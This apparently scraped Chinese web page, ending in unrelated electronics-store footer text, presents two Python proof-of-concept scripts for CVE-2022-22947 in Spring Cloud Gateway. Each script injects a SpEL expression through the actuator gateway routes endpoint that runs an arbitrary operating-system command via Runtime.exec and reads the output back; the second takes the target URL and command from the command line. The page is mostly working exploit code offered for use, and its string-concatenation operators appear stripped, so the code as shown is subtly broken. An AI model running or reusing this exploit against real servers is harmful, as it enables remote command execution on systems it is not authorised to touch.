资讯详情

Spring命令执行(CVE-2022-22947_POC)

直接在pycharm跑

import requests import json  print("""     ########################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################     #               CVE-2022-22947                    #     #               author:Skr11lex                   #     ########################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################     """)    headers={     'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36',     'Content-Type':'application/json' } ####################################################### url="http://127.0.0.1"#####输入域名,最后不要有斜杠 id=input("输入执行参数:") routename="tt" data = { "id": routename,             "filters": [{"name": "AddResponseHeader",             "args": {"name": "Result",             "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\u0022"   id   "\u0022}).getInputStream()))}"}}],             "uri": "http://hello.com"} r=requests.post(url "/actuator/gateway/routes/" routename,headers=headers,data=json.dumps(data)) if (r.status_code == 201):     print("[ ]创建成功,路径:" url "/actuator/gateway/routes/" routename)     r=requests.post(url "/actuator/gateway/refresh",headers=headers,data=json.dumps(data))     if (r.status_code == 200):         print("[ ]刷新成功")         r=requests.get(url "/actuator/gateway/routes/" routename,headers=headers,data=json.dumps(data))         if (r.status_code == 200):             print("[ ]输出结果")             get_response = r.json()             a=get_response['filters'][0].split("'")[1]             print(a)          else:             print("目标漏洞不存在,或者检查路径是否错误")

命令

import requests import json import sys  print("""     ################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################                   CVE-2022-22947                    #                   author:Skr11lex                   #           用法:python http://127.0.0.1 id           #     ################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################    """)  def attack(url,command):     routename="Ss"     data = {"id": routename,                  "filters": [{"name": "AddResponseHeader",                  "args": {"name": "Result",                  "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\u0022"   command   "\u0022}).getInputStream()))}"}}],                  "uri": "http://hello.com"}     r=requests.post(url "/actuator/gateway/routes/" routename,headers=headers,data=json.dumps(data))     if r.status_code==201:         print("[ ]创建成功,路径:" url "/actuator/gateway/routes/" routename)         r=requests.post(url "/actuator/gateway/refresh",headers=headers,data=json.dumps(data))         if r.status_code==200:             print("[ ]刷新成功")             r=requests.get(url "/actuator/gateway/routes/" routename,headers=headers,data=json.dumps(data))             if r.status_code==200:                 print("[ ]输出结果")                 a=r.json()                 return a['filters'][0].split("'")[1]   def main():         url = sys.argv[1]         command = sys.argv[2]         print(attack(url, command))  if __name__ == '__main__':     main()

标签: skr内置弹簧自复位位移传感器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台